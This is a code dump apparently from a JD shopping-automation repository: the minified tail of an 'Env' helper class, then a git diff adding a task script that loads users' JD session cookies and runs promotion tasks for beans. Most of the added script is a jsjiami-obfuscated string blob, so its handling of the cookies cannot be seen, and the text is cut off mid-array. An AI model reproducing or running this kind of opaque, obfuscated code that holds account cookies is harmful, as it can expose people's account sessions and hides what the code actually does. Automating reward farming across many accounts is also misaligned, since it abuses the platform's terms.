this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_jinggengjcq_dapainew_task.js b/jd_jinggengjcq_dapainew_task.js new file mode 100755 index 0000000..dccdb99 --- /dev/null +++ b/jd_jinggengjcq_dapainew_task.js @@ -0,0 +1,30 @@ +/* +不开卡,只做任务,部份大牌联合有任务有豆子,默认不执行 +变量 actId +7 7 7 7 7 jd_jinggengjcq_dapainew_task.js +*/ +const $ = new Env("大牌联合任务"); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : '48d38328e40c40f4993d1e_220620'; +let cookiesArr = [], cookie = '', message = ''; +let ownCode = null; +let actId = process.env.actId ?? ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + let cookiesData = $.getdata('CookiesJD') || "[]"; + cookiesData = JSON.parse(cookiesData); + cookiesArr = cookiesData.map(item => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter(item => !!item); +} + +var _0xodU='jsjiami.com.v6',_0xodU_=['‮_0xodU'],_0x4d30=[_0xodU,'\x51\x69\x6c\x58\x77\x34\x31\x44\x77\x36\x7a\x43\x6a\x54\x6f\x3d','\x4a\x51\x6e\x44\x6b\x54\x62\x44\x6f\x41\x3d\x3d','\x44\x44\x72\x44\x6f\x6a\x50\x44\x6f\x67\x3d\x3d','\x77\x34\x72\x43\x72\x4d\x4b\x2b\x62\x6c\x6f\x3d','\x47\x52\x4c\x43\x6f\x63\x4b\x44\x54\x41\x3d\x3d','\x49\x6c\x62\x43\x72\x32\x6c\x46','\x45\x53\x5a\x30\x77\x72\x4e\x4d\x63\x33\x41\x3d','\x77\x34\x48\x44\x71\x63\x4f\x53\x77\x71\x5a\x6f\x66\x73\x4b\x6b\x77\x70\x30\x3d','\x64\x41\x68\x30\x77\x36\x5a\x66','\x46\x43\x58\x43\x6f\x41\x3d\x3d','\x77\x35\x4e\x55\x4b\x73\x4f\x35\x77\x6f\x78\x54\x77\x71\x54\x6c\x76\x49\x44\x6c\x70\x62\x2f\x6a\x67\x35\x50\x6b\x75\x5a\x33\x6b\x75\x61\x37\x6f\x74\x6f\x33\x6c\x6a\x4a\x45\x3d','\x59\x78\x70\x48\x77\x36\x37\x43\x6c\x41\x3d\x3d','\x77\x35\x6c\x41\x4f\x41\x35\x32\x63\x44\x58\x44\x74\x51\x3d\x3d','\x77\x35\x48\x44\x76\x38\x4b\x52\x66\x68\x31\x2f\x62\x55\x30\x3d','\x55\x6d\x44\x44\x72\x57\x44\x43\x75\x38\x4b\x2f\x41\x79\x33\x43\x6d\x54\x41\x3d','\x77\x70\x54\x43\x73\x4d\x4b\x56\x49\x6c\x6e\x43\x71\x38\x4f\x6b','\x77\x35\x6e\x43\x6b\x67\x45\x3d','\x77\x36\x6a\x43\x69\x68\x59\x4e','\x34\x34\x47\x6f\x35\x6f\x36\x61\x35\x36\x65\x39\x34\x34\x47\x62\x77\x37\x4c\x44\x75\x6b\x5a\x73\x77\x35\x70\x66\x35\x62\x65\x56\x35\x61\x53\x66\x35\x70\x61\x55','\x35\x4c\x69\x72\x35\x4c\x71\x48\x36\x4c\x65\x62\x35\x59\x36\x52','\x66\x6a\x52\x57\x77\x35\x70\x31','\x77\x34\x45\x68\x77\x6f\x49\x6e\x4c\x78\x30\x49\x77\x37\x41\x3d','\x77\x6f\x74\x74\x77\x37\x6a\x43\x6c\x6c\x6e\x43\x76\x54\x7a\x43\x6f\x77\x3d\x3d','\x42\x2b\x69\x74\x68\x75\x6d\x48\x6d\x2b\x61\x55\x76\x2b\x65\x62\x75\x4f\x57\x38\x70\x2b\x69\x50\x69\x4f\x57\x4e\x6f\x73\x4b\x33\x63\x44\x42\x4e\x77\x34\x51\x61\x77\x72\x78\x36\x4c\x48\x6e\x43\x72\x48\x74\x43\x4d\x67\x5a\x6b\x46\x41\x72\x43\x73\x54\x4c\x44\x76\x63\x4f\x65\x49\x73\x4b\x6e\x57\x38\x4b\x6a\x5a\x63\x4b\x6b\x77\x35\x72\x43\x69\x38\x4b\x50\x4f\x4d\x4b\x72\x77\x72\x59\x56\x77\x72\x72\x44\x6f\x38\x4b\x54\x77\x72\x6b\x73\x77\x34\x76\x44\x67\x6d\x4c\x43\x68\x41\x3d\x3d','\x4a\x73\x4b\x38\x57\x47\x78\x39','\x77\x36\x6f\x4c\x4d\x38\x4f\x6f\x77\x6f\x37\x44\x6b\x77\x3d\x3d','\x47\x41\x6f\x55\x57\x67\x3d\x3d','\x56\x68\x35\x37\x77\x37\x73\x3d','\x77\x36\x6a\x44\x68\x6e\x49\x6a\x77\x6f\x55\x3d','\x77\x34\x4c\x44\x73\x73\x4f\x72\x4b\x31\x6b\x3d','\x4a\x73\x4b\x61\x4b\x44\x45\x3d','\x77\x6f\x39\x66\x77\x34\x6e\x43\x6c\x46\x77\x3d','\x77\x35\x48\x44\x75\x73\x4b\x36\x49\x73\x4b\x31','\x77\x34\x34\x34\x77\x70\x45\x6e\x42\x41\x55\x3d','\x55\x57\x68\x70\x77\x70\x74\x41','\x41\x38\x4f\x57\x77\x71\x50\x43\x6b\x6a\x58\x43\x73\x67\x3d\x3d','\x4e\x68\x7a\x43\x73\x38\x4f\x55\x43\x67\x3d\x3d','\x77\x36\x49\x62\x43\x63\x4f\x4f\x77\x6f\x34\x3d','\x77\x36\x66\x43\x6e\x67\x38\x41\x77\x72\x6c\x34\x77\x71\x44\x43\x6b\x63\x4b\x49\x77\x35\x49\x3d','\x54\x6a\x70\x79\x77\x37\x50\x43\x71\x41\x3d\x3d','\x77\x37\x59\x50\x77\x72\x50\x44\x76\x42\x55\x49','\x77\x35\x48\x44\x70\x6e\x6f\x3d','\x43\x47\x6f\x77\x77\x71\x38\x6c','\x77\x71\x6a\x44\x67\x6d\x41\x37\x64\x67\x3d\x3d','\x77\x70\x55\x78\x53\x6a\x56\x61\x77\x36\x67\x55\x77\x34\x55\x35\x59\x51\x3d\x3d','\x77\x70\x4e\x6b\x77\x37\x44\x43\x6c\x33\x4d\x3d','\x77\x72\x62\x44\x74\x45\x49\x55','\x47\x47\x37\x43\x70\x38\x4b\x34\x77\x37\x4d\x3d','\x77\x71\x50\x44\x73\x45\x6f\x4f','\x77\x6f\x6e\x6a\x67\x61\x6a\x6b\x75\x35\x48\x6b\x75\x70\x76\x6f\x74\x34\x7a\x6c\x6a\x59\x45\x3d','\x5a\x4d\x4f\x66\x63\x73\x4f\x71\x77\x37\x73\x3d','\x4b\x77\x58\x43\x6f\x73\x4f\x76\x43\x63\x4f\x39\x77\x35\x52\x6f','\x43\x73\x4f\x58\x77\x71\x35\x58\x63\x78\x50\x44\x6e\x73\x4f\x34','\x55\x38\x4f\x46\x51\x56\x55\x34\x58\x38\x4b\x32\x53\x67\x7a\x69\x6c\x61\x41\x5a\x36\x49\x79\x72\x35\x62\x32\x73\x5a\x51\x3d\x3d','\x77\x34\x30\x74\x77\x6f\x41\x69','\x77\x37\x44\x6b\x75\x4a\x2f\x6f\x73\x61\x6a\x6a\x67\x5a\x55\x3d','\x77\x34\x2f\x43\x73\x79\x77\x75\x77\x70\x51\x3d','\x47\x41\x7a\x44\x74\x44\x4c\x44\x6a\x51\x3d\x3d','\x77\x35\x62\x44\x73\x73\x4b\x61\x45\x38\x4b\x32','\x57\x78\x31\x45\x77\x37\x37\x43\x69\x51\x3d\x3d','\x77\x34\x37\x43\x76\x73\x4b\x45\x59\x6c\x5a\x36','\x5a\x53\x44\x44\x6a\x38\x4f\x4f\x77\x70\x4c\x43\x6e\x4d\x4f\x6e\x77\x34\x39\x47\x62\x67\x3d\x3d','\x59\x4d\x4f\x43\x63\x51\x3d\x3d','\x77\x37\x58\x43\x6e\x52\x67\x6a','\x49\x79\x37\x43\x6d\x4d\x4f\x51\x48\x67\x3d\x3d','\x63\x69\x35\x45\x77\x34\x6a\x43\x75\x67\x3d\x3d','\x77\x34\x54\x43\x72\x4d\x4b\x2b\x62\x6c\x6f\x3d','\x77\x72\x4a\x78\x77\x37\x6f\x3d','\x4b\x77\x33\x43\x72\x4d\x4f\x68','\x77\x70\x39\x66\x35\x61\x57\x74\x36\x4c\x53\x4f\x77\x70\x67\x4e\x35\x59\x36\x74\x35\x5a\x69\x41\x4d\x63\x4f\x34','\x77\x36\x7a\x44\x6a\x57\x37\x43\x75\x73\x4f\x68\x4c\x6c\x41\x3d','\x62\x68\x74\x4e\x77\x36\x34\x3d','\x77\x72\x67\x64\x64\x4d\x4b\x36\x77\x35\x41\x51\x77\x37\x70\x35\x77\x36\x76\x43\x72\x38\x4b\x65\x45\x38\x4f\x50','\x50\x4d\x4b\x66\x35\x59\x71\x2f\x35\x59\x69\x55\x35\x36\x4b\x43\x55\x6c\x4c\x43\x69\x73\x4b\x64','\x35\x5a\x47\x31\x36\x5a\x32\x70\x35\x35\x6d\x6f\x35\x62\x4f\x51\x35\x37\x6d\x79\x36\x4c\x79\x53\x35\x4c\x75\x44\x35\x59\x69\x45\x35\x59\x69\x56\x35\x36\x47\x55\x35\x59\x69\x64\x35\x59\x71\x77\x77\x37\x33\x43\x67\x43\x66\x43\x72\x51\x3d\x3d','\x77\x37\x6a\x44\x68\x4f\x65\x34\x6f\x75\x57\x74\x74\x65\x57\x4a\x6d\x2b\x57\x49\x70\x63\x4f\x39\x77\x34\x6a\x43\x73\x41\x3d\x3d','\x50\x4d\x4f\x4c\x77\x71\x5a\x56\x55\x52\x66\x44\x68\x38\x4f\x34\x55\x73\x4f\x42\x77\x6f\x68\x39\x46\x56\x6c\x6e\x77\x70\x4d\x3d','\x45\x7a\x37\x44\x75\x6a\x48\x44\x76\x73\x4b\x63\x77\x37\x33\x44\x71\x32\x4c\x43\x68\x4d\x4b\x63\x77\x35\x34\x3d','\x77\x34\x37\x44\x6f\x58\x49\x41\x77\x70\x78\x6e\x77\x72\x2f\x43\x6d\x51\x3d\x3d','\x77\x6f\x37\x43\x70\x2b\x57\x46\x72\x75\x61\x79\x6d\x4f\x57\x35\x68\x2b\x6d\x54\x74\x4d\x4f\x73\x77\x34\x41\x41','\x4d\x41\x4c\x43\x71\x4d\x4f\x77\x49\x73\x4f\x66\x77\x35\x5a\x68\x50\x47\x59\x4f\x4c\x73\x4f\x61\x44\x4d\x4f\x50\x45\x41\x3d\x3d','\x77\x70\x74\x6d\x35\x6f\x6d\x63\x35\x61\x53\x61\x51\x56\x46\x62','\x48\x68\x30\x55\x51\x38\x4b\x50\x57\x79\x66\x44\x70\x38\x4b\x72','\x77\x36\x4c\x43\x6d\x52\x6f\x66','\x77\x70\x44\x43\x71\x73\x4b\x71\x50\x6c\x66\x43\x72\x63\x4f\x6b\x56\x38\x4f\x64\x52\x38\x4b\x65\x77\x34\x6a\x43\x6b\x69\x52\x72\x77\x34\x6e\x43\x69\x6c\x64\x48\x77\x70\x70\x32\x61\x77\x3d\x3d','\x77\x70\x66\x44\x72\x4f\x57\x4b\x6f\x4f\x57\x46\x72\x65\x69\x33\x72\x4f\x65\x4b\x6e\x2b\x69\x38\x6d\x32\x6e\x44\x73\x4d\x4b\x77','\x77\x37\x4c\x44\x74\x63\x4b\x55\x45\x73\x4b\x32\x44\x63\x4b\x6d\x54\x69\x76\x44\x70\x33\x48\x43\x6b\x77\x3d\x3d','\x77\x70\x66\x43\x72\x75\x61\x33\x76\x75\x69\x6b\x68\x65\x57\x36\x73\x65\x6d\x54\x70\x63\x4f\x70\x77\x35\x55\x38','\x42\x68\x58\x43\x6f\x4d\x4b\x52\x5a\x38\x4b\x65\x61\x73\x4b\x41','\x77\x70\x44\x44\x6f\x2b\x61\x32\x68\x65\x69\x6e\x68\x65\x57\x56\x74\x4f\x57\x54\x6e\x73\x4b\x31\x77\x6f\x58\x43\x67\x77\x3d\x3d','\x77\x36\x33\x43\x6c\x52\x41\x78\x65\x63\x4f\x77\x77\x71\x48\x44\x74\x63\x4f\x47','\x35\x72\x43\x72\x35\x70\x36\x74\x35\x6f\x69\x51\x35\x59\x6d\x45\x36\x49\x79\x36\x35\x59\x36\x55\x35\x59\x69\x5a\x35\x35\x57\x31\x35\x6f\x75\x5a\x35\x4c\x36\x31\x35\x6f\x4f\x43','\x35\x72\x47\x46\x35\x70\x32\x69\x35\x6f\x75\x38\x35\x59\x75\x6b\x36\x49\x32\x6d\x35\x59\x32\x58\x35\x59\x75\x36\x35\x35\x61\x45\x35\x6f\x6d\x61\x36\x59\x75\x34\x35\x70\x79\x55\x35\x4c\x79\x32\x35\x6f\x4b\x44','\x44\x6e\x76\x43\x72\x45\x70\x39','\x77\x37\x67\x66\x77\x71\x54\x44\x76\x68\x4d\x75\x44\x73\x4f\x35\x49\x41\x3d\x3d','\x4a\x41\x2f\x43\x74\x63\x4f\x74\x4d\x63\x4f\x31\x77\x34\x31\x30\x47\x57\x30\x4c\x4e\x51\x3d\x3d','\x77\x72\x49\x71\x77\x72\x6b\x43\x77\x6f\x51\x3d','\x44\x43\x58\x43\x72\x43\x2f\x44\x76\x77\x3d\x3d','\x77\x36\x4c\x43\x73\x57\x56\x43\x77\x71\x49\x3d','\x48\x63\x4f\x33\x77\x6f\x4c\x43\x6c\x51\x59\x3d','\x77\x37\x72\x44\x73\x4d\x4f\x6d\x4a\x6c\x38\x3d','\x62\x4d\x4f\x45\x59\x73\x4f\x6e\x77\x36\x77\x41\x50\x4d\x4f\x62\x77\x35\x6c\x39','\x41\x73\x4b\x79\x51\x48\x6c\x6b','\x77\x72\x4c\x44\x68\x6c\x63\x79\x56\x31\x35\x4a\x48\x73\x4b\x4a','\x48\x42\x50\x43\x6f\x67\x3d\x3d','\x77\x35\x6e\x43\x68\x69\x38\x46\x57\x51\x3d\x3d','\x77\x36\x55\x65\x4b\x4d\x4f\x4c\x77\x70\x30\x3d','\x46\x4d\x4b\x6f\x55\x6e\x6c\x34\x43\x4d\x4b\x39\x4a\x4d\x4b\x65','\x77\x36\x37\x43\x71\x63\x4b\x48\x58\x57\x67\x3d','\x77\x6f\x2f\x43\x69\x45\x76\x43\x6b\x63\x4b\x34','\x47\x58\x37\x43\x6c\x63\x4b\x7a\x77\x35\x6e\x43\x68\x63\x4b\x41\x77\x34\x37\x44\x70\x51\x3d\x3d','\x77\x71\x62\x43\x68\x63\x4b\x55','\x50\x42\x6e\x43\x6b\x73\x4f\x7a\x43\x77\x3d\x3d','\x77\x70\x2f\x43\x72\x33\x2f\x43\x76\x73\x4b\x4d','\x42\x73\x4b\x35\x77\x71\x4d\x3d','\x77\x70\x6e\x44\x74\x46\x38\x78\x54\x77\x3d\x3d','\x77\x37\x44\x43\x69\x77\x76\x43\x67\x73\x4b\x4f','\x48\x52\x6a\x43\x70\x73\x4b\x57\x58\x41\x3d\x3d','\x47\x6d\x6a\x43\x6d\x4d\x4b\x66\x77\x34\x38\x3d','\x42\x77\x72\x44\x67\x78\x62\x44\x72\x51\x3d\x3d','\x77\x35\x58\x43\x6c\x42\x4c\x43\x69\x4d\x4b\x4a\x77\x72\x55\x59\x77\x34\x78\x7a\x45\x41\x3d\x3d','\x46\x58\x30\x31\x77\x6f\x73\x37','\x77\x6f\x67\x37\x55\x63\x4b\x72\x77\x37\x34\x3d','\x77\x34\x37\x44\x6f\x38\x4f\x46\x77\x6f\x52\x43','\x77\x71\x54\x44\x70\x55\x6f\x55\x62\x67\x3d\x3d','\x55\x78\x44\x44\x6a\x4d\x4f\x49\x77\x70\x51\x3d','\x77\x34\x7a\x43\x70\x6d\x4e\x34\x77\x71\x6b\x3d','\x77\x72\x49\x30\x61\x38\x4b\x6c\x77\x35\x49\x3d','\x59\x63\x4f\x65\x63\x51\x3d\x3d','\x65\x32\x62\x44\x67\x4d\x4b\x57\x59\x41\x3d\x3d','\x53\x6c\x6c\x4d\x77\x6f\x74\x76','\x77\x37\x41\x32\x48\x6c\x6e\x44\x69\x51\x3d\x3d','\x4d\x55\x73\x73\x77\x71\x41\x58','\x46\x43\x31\x52\x77\x70\x46\x6c','\x4b\x58\x76\x43\x6f\x73\x4b\x42\x77\x36\x55\x3d','\x47\x46\x30\x4b\x77\x71\x4d\x53','\x77\x36\x66\x43\x69\x41\x38\x68\x77\x72\x49\x3d','\x59\x63\x4f\x45\x77\x70\x59\x3d','\x55\x48\x74\x57\x77\x70\x42\x73','\x51\x6a\x6a\x43\x6c\x73\x4f\x5a\x61\x67\x3d\x3d','\x59\x4d\x4f\x50\x77\x70\x49\x6e\x77\x72\x4d\x3d','\x77\x35\x49\x63\x4b\x47\x4c\x44\x6e\x51\x3d\x3d','\x66\x7a\x4e\x30\x77\x34\x48\x43\x70\x77\x3d\x3d','\x4f\x4d\x4b\x68\x77\x6f\x78\x2b\x55\x41\x3d\x3d','\x77\x6f\x6e\x44\x6f\x48\x6b\x71\x77\x70\x45\x3d','\x47\x77\x77\x42\x66\x63\x4f\x45','\x66\x6b\x56\x4a\x77\x71\x74\x48','\x46\x44\x70\x66','\x4a\x38\x4f\x39\x77\x70\x58\x43\x6c\x54\x55\x3d','\x46\x77\x44\x43\x6b\x4d\x4f\x32\x4e\x77\x3d\x3d','\x77\x36\x66\x44\x67\x47\x50\x43\x71\x38\x4f\x6c','\x64\x79\x62\x44\x6c\x63\x4f\x6a\x77\x72\x67\x3d','\x4f\x78\x50\x43\x6b\x73\x4b\x33\x66\x77\x3d\x3d','\x77\x6f\x30\x72\x64\x4d\x4b\x52\x77\x36\x77\x3d','\x77\x72\x77\x78\x62\x42\x64\x55','\x47\x33\x66\x43\x73\x32\x5a\x33','\x77\x6f\x44\x43\x69\x6d\x54\x43\x67\x38\x4b\x6d','\x77\x34\x44\x44\x76\x38\x4b\x7a\x61\x54\x6b\x3d','\x77\x72\x4c\x43\x73\x31\x76\x43\x74\x73\x4b\x4b','\x77\x37\x62\x44\x74\x38\x4f\x78\x48\x31\x4d\x3d','\x47\x44\x62\x43\x72\x4d\x4b\x48\x51\x77\x3d\x3d','\x43\x38\x4f\x78\x77\x72\x39\x6e\x64\x77\x3d\x3d','\x77\x37\x66\x44\x76\x4d\x4f\x31','\x77\x35\x58\x43\x6f\x38\x4b\x67\x65\x31\x55\x3d','\x77\x70\x48\x43\x72\x4d\x4b\x2b','\x4b\x67\x6e\x43\x73\x6a\x6e\x44\x70\x41\x3d\x3d','\x35\x70\x2b\x44\x35\x34\x47\x54\x35\x59\x65\x4d\x35\x70\x65\x5a\x36\x49\x32\x46','\x77\x37\x4c\x43\x71\x51\x55\x58\x61\x67\x3d\x3d','\x77\x70\x59\x57\x62\x73\x4b\x70\x77\x36\x73\x3d','\x77\x37\x7a\x43\x6a\x52\x34\x6a\x53\x67\x3d\x3d','\x77\x70\x55\x6e\x53\x6a\x52\x44\x77\x37\x4d\x6a\x77\x35\x4d\x43\x61\x41\x35\x4f\x77\x36\x4d\x3d','\x77\x70\x50\x44\x6e\x43\x67\x3d','\x45\x6a\x50\x44\x75\x53\x44\x44\x68\x73\x4b\x63\x77\x36\x48\x44\x73\x51\x3d\x3d','\x61\x53\x7a\x43\x76\x63\x4f\x70\x77\x35\x35\x50\x77\x71\x66\x43\x76\x6d\x4d\x4f\x77\x6f\x73\x70\x44\x78\x35\x63\x51\x41\x3d\x3d','\x77\x36\x76\x43\x67\x67\x67\x62\x77\x72\x39\x6c\x77\x6f\x33\x44\x6b\x63\x4b\x50\x77\x35\x6a\x43\x67\x4d\x4f\x35\x77\x34\x7a\x44\x6d\x6a\x49\x41\x77\x71\x78\x7a\x77\x36\x55\x6a\x77\x36\x41\x6e','\x4f\x38\x4f\x57\x77\x71\x70\x53\x45\x67\x4c\x44\x6e\x4d\x4f\x75\x43\x51\x3d\x3d','\x35\x4c\x71\x6d\x35\x4c\x6d\x66\x35\x72\x47\x78\x35\x70\x36\x51\x36\x4c\x32\x6d\x35\x5a\x75\x30\x35\x70\x61\x6a\x35\x6f\x36\x31','\x77\x34\x35\x59\x47\x67\x74\x4c','\x4a\x58\x51\x43','\x77\x6f\x6a\x44\x68\x44\x66\x44\x71\x77\x3d\x3d','\x4f\x47\x4c\x43\x6b\x30\x52\x70','\x61\x77\x52\x54\x77\x36\x44\x43\x69\x54\x38\x3d','\x77\x37\x62\x44\x6b\x4d\x4f\x37\x4a\x45\x77\x3d','\x77\x37\x59\x4c\x47\x4d\x4f\x31\x77\x71\x50\x44\x6b\x67\x3d\x3d','\x57\x63\x4f\x4b\x77\x72\x62\x43\x68\x52\x4c\x43\x6c\x63\x4f\x51\x65\x56\x66\x43\x74\x31\x6e\x44\x74\x38\x4f\x55','\x48\x38\x4b\x6c\x77\x71\x46\x4e\x54\x42\x4d\x3d','\x77\x36\x54\x43\x6e\x67\x49\x4e\x77\x71\x52\x45\x77\x6f\x72\x43\x6e\x63\x4b\x48','\x61\x41\x46\x61\x77\x36\x37\x43\x6e\x67\x6a\x43\x6c\x69\x72\x43\x73\x77\x3d\x3d','\x77\x71\x44\x44\x70\x6c\x67\x4a\x77\x70\x63\x6c','\x77\x34\x4d\x65\x4c\x6b\x72\x44\x6c\x46\x34\x3d','\x77\x36\x66\x43\x6a\x78\x59\x69\x77\x71\x56\x6c\x77\x6f\x30\x3d','\x57\x4d\x4f\x6b\x77\x72\x63\x6e\x77\x6f\x38\x3d','\x77\x37\x49\x79\x44\x63\x4f\x47\x77\x6f\x38\x3d','\x77\x72\x6e\x43\x6b\x4d\x4b\x78\x4a\x46\x59\x3d','\x77\x36\x58\x44\x72\x73\x4b\x76\x4b\x73\x4b\x33','\x77\x36\x2f\x43\x71\x67\x6f\x73\x77\x70\x34\x3d','\x4c\x73\x4f\x74\x77\x70\x78\x4c\x62\x51\x3d\x3d','\x77\x71\x62\x43\x75\x38\x4b\x41\x77\x71\x44\x43\x6b\x77\x3d\x3d','\x77\x37\x76\x44\x72\x33\x44\x43\x71\x63\x4f\x2f','\x77\x36\x7a\x44\x6e\x48\x44\x43\x69\x73\x4f\x46','\x55\x56\x33\x44\x6c\x63\x4b\x38\x55\x77\x3d\x3d','\x77\x36\x49\x6f\x77\x6f\x6a\x44\x6d\x54\x4d\x3d','\x4f\x52\x37\x44\x74\x52\x37\x44\x75\x41\x3d\x3d','\x77\x34\x72\x43\x72\x78\x67\x69\x77\x72\x45\x3d','\x46\x54\x4e\x35\x77\x71\x78\x4d','\x45\x51\x6e\x43\x6b\x63\x4f\x2b\x44\x41\x3d\x3d','\x77\x35\x54\x44\x69\x47\x77\x30\x77\x70\x67\x3d','\x77\x6f\x50\x44\x74\x47\x59\x70\x77\x70\x73\x3d','\x42\x73\x4f\x4b\x77\x72\x58\x43\x6c\x41\x3d\x3d','\x77\x34\x6e\x44\x69\x48\x66\x43\x75\x4d\x4f\x76','\x77\x70\x74\x6e\x77\x35\x76\x43\x74\x6e\x55\x3d','\x77\x36\x48\x43\x6d\x67\x4d\x2b\x66\x41\x3d\x3d','\x77\x35\x4c\x